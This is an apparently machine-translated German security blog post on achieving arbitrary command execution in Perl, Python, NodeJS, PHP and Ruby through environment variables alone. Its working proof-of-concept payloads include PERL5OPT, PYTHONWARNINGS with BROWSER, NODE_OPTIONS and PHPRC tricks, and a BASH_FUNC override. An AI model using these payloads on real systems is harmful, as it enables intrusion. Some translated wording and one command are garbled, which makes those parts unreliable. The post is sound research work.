Einführung
In einem kürzlich durchgeführten Hacking-Projekt konnten wir Umgebungsvariablen angeben, jedoch keinen laufenden Prozess. Wir konnten auch den Inhalt der Datei auf der Festplatte nicht kontrollieren, und Brute-Force-Prozesskennungen (PIDs) und Dateideskriptoren lieferten keine interessanten Ergebnisse, mit Ausnahme von Remote-LD_PRELOAD-Exploits . Glücklicherweise wurde ein Skriptspracheninterpreter ausgeführt, der es uns ermöglichte, beliebige Befehle auszuführen, indem bestimmte Umgebungsvariablen festgelegt wurden. In diesem Blog wird erläutert, wie beliebige Befehle von einer Reihe von Skriptsprachendolmetschern unter schädlichen Umgebungsvariablen ausgeführt werden können.
Perl
Eine flüchtige Lektüre des
ENVIRONMENT
Manpage- Abschnitts perlrun(1)
zeigt viele Umgebungsvariablen, die es wert sind, untersucht zu werden. Mit der Umgebungsvariablen PERL5OPT
können Sie Befehlszeilenoptionen festlegen, sie können jedoch nur Optionen akzeptieren CDIMTUWdmtw
. Leider bedeutet dies einen Mangel -e
, der es ermöglicht, Perl-Code zum Ausführen zu laden.
Es ist jedoch nicht alles verloren, wie der Exploit für CVE-2016-1531 von Hacker Fantastic zeigt . Der Exploit schreibt ein böswilliges Perl-Modul in eine Datei
/tmp/root.pm
und stellt Umgebungsvariablen PERL5OPT=-Mroot
sowie die PERL5LIB=/ tmp
Ausführung von beliebigem Code bereit . Dies war jedoch ein Exploit für eine Sicherheitsanfälligkeit bezüglich der Eskalation lokaler Berechtigungen, und die generische Methode sollte idealerweise keinen Zugriff auf das Dateisystem erfordern. AnschauenExploit von blasty für die CVE gleiche, er nicht die Erstellung einer Datei, die Verwendung von Umgebungsvariablen erforderlich war PERL5OPT=-d
und PERL5DB=system("sh");exit;
. Dieselben Variablen wurden 2013 zur Lösung des CTF-Problems verwendet .
Die letzte Feinheit der generischen Methode besteht darin, eine Umgebungsvariable anstelle von zwei zu verwenden. @justinsteven entdeckte, dass dies mit möglich ist
PERL5OPT=-M
. Während Sie das Perl-Modul herunterladen, können Sie entweder -m
oder verwenden -M
. Mit einer Option -M
können Sie jedoch zusätzlichen Code nach dem Modulnamen hinzufügen.
Konzeptioneller Beweiß
Beispiel 0: Ausführen von beliebigem Code mit einer Umgebungsvariablen im Vergleich zu Perl, das ein leeres Skript ausführt (/ dev / null)
$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)
Python
Nach dem Abschnitt
ENVIRONMENT VARIABLES
in Mana zu urteilen python(1)
, PYTHONSTARTUP
sieht es zunächst nach einer einfachen Lösung aus. Hier können Sie den Pfad zu einem Python-Skript angeben, das ausgeführt wird, bevor die Eingabeaufforderung interaktiv angezeigt wird. Die Anforderung für den interaktiven Modus schien kein Problem zu sein, da eine Umgebungsvariable PYTHONINSPECT
wie -i
in der Befehlszeile zum Aufrufen des interaktiven Modus verwendet werden kann . In der Dokumentation zu dieser Option wird jedoch -i
erläutert, was PYTHONSTARTUP
nicht verwendet wird, wenn Python mit einem auszuführenden Skript gestartet wird. Dies bedeutet, dass PYTHONSTARTUP
beide PYTHONINSPECT
nicht kombiniert werden können und PYTHONSTARTUP
nur dann wirksam werden, wenn Python REPL sofort gestartet wird. Dies bedeutet letztendlich, dassPYTHONSTARTUP
Nicht realisierbar, da es keine Auswirkung hat, wenn ein reguläres Python-Skript ausgeführt wird.
Umgebungsvariablen
PYTHONHOME
und sah vielversprechend aus PYTHONPATH
. Beide ermöglichen die Ausführung von beliebigem Code, erfordern jedoch, dass Sie Verzeichnisse und Dateien auch im Dateisystem erstellen können. Möglicherweise können diese Anforderungen mithilfe eines virtuellen / proc-Dateisystems und / oder von ZIP-Dateien gelockert werden.
Die meisten anderen Umgebungsvariablen werden einfach auf eine nicht leere Zeichenfolge überprüft und enthalten in diesem Fall eine allgemein harmlose Einstellung. Eine der seltenen Ausnahmen ist
PYTHONWARNINGS
.
Arbeiten mit PYTHONWARNINGS
Die Dokumentation für
PYTHONWARNINGS
besagt, dass dies der Angabe eines Parameters entspricht -W
. Dieser Parameter wird -W
für die Warnungsverwaltung verwendet, um Warnungen anzugeben und wie oft sie angezeigt werden sollen. Die vollständige Form des Arguments ist action:message:category:module:line
. Die Überwachung von Warnungen schien zwar kein vielversprechender Hinweis zu sein, änderte sich jedoch nach dem Testen der Implementierung schnell.
Beispiel 1: Python-3.8.2 / Lib / warnings.py
[...]
def _getcategory(category):
if not category:
return Warning
if '.' not in category:
import builtins as m
klass = category
else:
module, _, klass = category.rpartition('.')
try:
m = __import__(module, None, None, [klass])
except ImportError:
raise _OptionError("invalid module name: %r" % (module,)) from None
[...]
Dieser Code zeigt, dass wir mit dem Import eines beliebigen Python-Moduls beginnen können, solange unsere angegebene Kategorie einen Punkt enthält.
Das nächste Problem ist, dass die überwiegende Mehrheit der Module aus der Python-Standardbibliothek beim Importieren nur sehr wenig Code ausführt. Sie definieren normalerweise nur die Klassen, die später verwendet werden sollen, und selbst wenn sie Code zum Ausführen bereitstellen, wird der Code normalerweise durch Überprüfen der Variablen __main__ geschützt (um festzustellen, ob die Datei importiert oder direkt ausgeführt wurde).
Eine unerwartete Ausnahme von dieser Regel ist das Antigravitationsmodul . Die Python-Entwickler haben 2008 ein Osterei hinzugefügt , das durch Ausführen aufgerufen werden kann
import antigravity
... Dieser Import öffnet sofort einen xkcd-Comic in Ihrem Browser und scherzt, dass der Antigravitationsimport in Python das Fliegen ermöglicht.
Wie das Modul
antigravity
Ihren Browser öffnet, verwendet ein anderes Modul aus der Standardbibliothek namens webbrowser
. Dieses Modul überprüft Ihren PFAD auf eine Vielzahl von Browsern, darunter Mosaik, Oper, Skipstone, Konqueror, Chrom, Chrom, Firefox, Links, Elinks und Luchs. Es akzeptiert auch eine Umgebungsvariable, die BROWSER
angibt, welcher Prozess ausgeführt werden soll. In einer Umgebungsvariablen können dem Prozess keine Argumente bereitgestellt werden, und die xkcd-URL des Comics ist das einzige fest codierte Argument für den Befehl.
Die Möglichkeit, dies in eine beliebige Codeausführung umzuwandeln, hängt davon ab, welche anderen ausführbaren Dateien auf dem System verfügbar sind.
Verwenden von Perl zum Ausführen von beliebigem Code
Ein Ansatz ist die Verwendung von Perl, das normalerweise auf dem System installiert ist und sogar im Standard-Python-Docker-Image verfügbar ist. Sie können die Binärdatei jedoch nicht
perl
alleine verwenden, da das erste und einzige Argument die xkcd-URL des Comics ist. Dieses Argument löst einen Fehler aus und der Prozess wird ohne Verwendung einer Umgebungsvariablen beendet PERL5OPT
.
Beispiel 2: PERL5OPT hat keine Auswirkung, wenn eine URL an Perl übergeben wird
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory
Glücklicherweise sind, wenn Perl verfügbar ist, häufig auch Standard-Perl-Skripte wie Perldoc und Perlthanks verfügbar. Diese Skripte schlagen auch mit einem ungültigen Argument fehl, aber der Fehler tritt in diesem Fall später als bei der Verarbeitung der Umgebungsvariablen PERL5OPT auf. Dies bedeutet, dass Sie die zuvor in diesem Blog beschriebene Nutzlast der Perl-Umgebungsvariablen verwenden können.
Beispiel 3: PERL5OPT funktioniert erwartungsgemäß mit Perldoc und Perlthanks
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
Konzeptioneller Beweiß
Beispiel 4: Ausführen von beliebigem Code mithilfe mehrerer Umgebungsvariablen mit Python 2 und Python 3
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
NodeJS
Michal Bentkowski hat die Nutzlast für den Kibana-Exploit (CVE-2019-7609) in seinem Blog veröffentlicht . Ein Prototyp einer Verschmutzungsanfälligkeit wurde verwendet, um beliebige Umgebungsvariablen festzulegen, die zu einer willkürlichen Befehlsausführung führten. Die Nutzlast von Michal verwendet , um die Umgebungsvariable
NODE_OPTIONS
und das proc - Dateisystem , insbesondere /proc/self/environ
.
Während Michals Technik kreativ ist und in seinem Fall großartig funktioniert, ist es nicht immer garantiert, dass sie funktioniert, und es gibt einige Einschränkungen, die sich gut ansprechen lassen.
Die erste Einschränkung ist, dass es verwendet
/proc/self/environ
Nur wenn der Inhalt durch JavaScript syntaktisch gültig gemacht werden kann. Dazu müssen Sie in der Lage sein, eine Umgebungsvariable zu erstellen und sie zuerst im Inhalt der Datei erscheinen zu lassen /proc/self/environ
oder den Namen der zuerst angezeigten Umgebungsvariablen zu kennen / zu betrügen und ihren Wert zu überschreiben.
Eine weitere Einschränkung besteht darin, dass der Wert der ersten Umgebungsvariablen mit einem einzeiligen Kommentar (//) endet. Daher verursacht jedes Zeilenumbruchzeichen in anderen Umgebungsvariablen wahrscheinlich einen Syntaxfehler und verhindert, dass die Nutzdaten ausgeführt werden. Die Verwendung mehrzeiliger Kommentare (/ *) behebt das Problem nicht, da sie geschlossen werden müssen, um syntaktisch korrekt zu sein. In den seltenen Fällen, in denen eine Umgebungsvariable ein Zeilenumbruchzeichen enthält, ist es daher erforderlich, den Namen der Umgebungsvariablen zu kennen / zu deaktivieren und ihren Wert mit einem neuen Wert zu überschreiben, der keinen Zeilenumbruch enthält.
Wir werden die Beseitigung dieser Einschränkungen als Übung für den Leser überlassen.
Konzeptioneller Beweiß
Beispiel 5. Ausführen von beliebigem Code mit Umgebungsvariablen gegen Michal Bentkowskis NodeJS
$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)
PHP
Wenn Sie es ausführen
ltrace -e getenv php /dev/null
, werden Sie feststellen, dass PHP eine Umgebungsvariable verwendet PHPRC
. Die Umgebungsvariable wird verwendet, wenn versucht wird, eine Konfigurationsdatei zu finden und zu laden php.ini
. Der Neex-Exploit für CVE-2019-11043 verwendet eine Reihe von PHP-Parametern , um die Ausführung von beliebigem Code zu erzwingen. In Orange hat Tsai auch einen ausgezeichneten Beitrag über das Erstellen eines eigenen Exploits für das CVE, das eine etwas andere Liste von Einstellungen verwendet. Unter Verwendung dieses Wissens wurde zusammen mit den Erkenntnissen aus früheren NodeJS-Techniken und der Hilfe von Brendan Scarwell eine PHP-Lösung mit zwei Umgebungsvariablen gefunden.
Diese Methode hat die gleichen Einschränkungen wie die NodeJS-Beispiele.
Konzeptioneller Beweiß
Beispiel 6: Ausführen von beliebigem Code mit Umgebungsvariablen gegen PHP
$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)
Rubin
Es wurde noch keine universelle Lösung für Ruby gefunden. Ruby akzeptiert eine Umgebungsvariable
RUBYOPT
, um Befehlszeilenoptionen anzugeben. Die Manpage sagt, dass RUBYOPT nur enthalten kann -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE
. Die vielversprechendste Option besteht darin -r
, Ruby zu zwingen, die Bibliothek mit require zu laden. Dies ist jedoch auf Dateien mit der Erweiterung .rb
oder beschränkt .so
.
Ein Beispiel für eine relativ nützliche Datei, die ich gefunden habe,
.rb
stammt tools/server.rb
aus dem json gem, das nach der Installation von Ruby auf Fedora-Systemen verfügbar ist. Wenn diese Datei benötigt wird, wird der Webserver wie folgt gestartet:
Beispiel 7: Verwenden der Umgebungsvariablen RUBYOPT, um den Ruby-Prozess zu starten und den Webserver zu starten
$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO WEBrick 1.6.0
[2020-06-17 05:43:47] INFO ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO WEBrick::HTTPServer#start: pid=28 port=6666
Ein weiterer Ansatz in Fedora besteht darin, die Tatsache auszunutzen, dass
/usr/bin/ruby
tatsächlich ein Bash-Skript gestartet wird /usr/bin/ruby-mri
. Das Skript ruft Bash-Funktionen auf, die von Umgebungsvariablen überschrieben werden können.
Konzeptioneller Beweiß
Beispiel 8: Verwenden einer exportierten Bash-Funktion zum Ausführen eines beliebigen Befehls
$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)
Fazit
In diesem Beitrag wurden einige interessante Anwendungsfälle für Umgebungsvariablen untersucht, die dazu beitragen können, eine beliebige Codeausführung durch verschiedene Skriptspracheninterpreter zu erreichen, ohne Dateien auf die Festplatte zu schreiben. Ich hoffe, Sie haben viel Spaß beim Lesen und waren daran interessiert, verbesserte Nutzdaten für diese und andere Skriptsprachen zu finden und zu teilen. Wenn Sie eine generische Technik finden, die gegen Ruby funktioniert, wird es sehr interessant sein, davon zu hören.
Siehe auch: " Dotfile Madness "